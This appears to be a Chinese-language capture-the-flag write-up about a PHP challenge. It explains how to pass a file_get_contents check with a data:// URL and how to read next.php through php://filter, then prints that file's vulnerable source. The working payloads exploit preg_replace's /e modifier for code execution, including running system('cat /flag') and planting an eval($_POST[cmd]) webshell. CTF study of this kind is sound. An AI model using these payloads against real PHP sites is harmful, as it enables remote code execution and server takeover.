
通过分析代码,get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。 看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议用filter协议去读下next.php的源码
获取next.php的payload:
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
?next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
发现?preg_replace()函数是一个代码执行的问题,发现这是用固定解题格式:?\S*=${}
有关该函数的详细解释在下面的连接:
https://xz.aliyun.com/t/2557
然后可以直接构造payload:
next.php?\S*=${getFlag()}&cmd=system('cat /flag'); ?
也可以用preg_replace()函数的代码执行构造出一个一句话木马用蚁剑连接找flag
next.php?\S*=${eval($_POST[cmd])}

?
|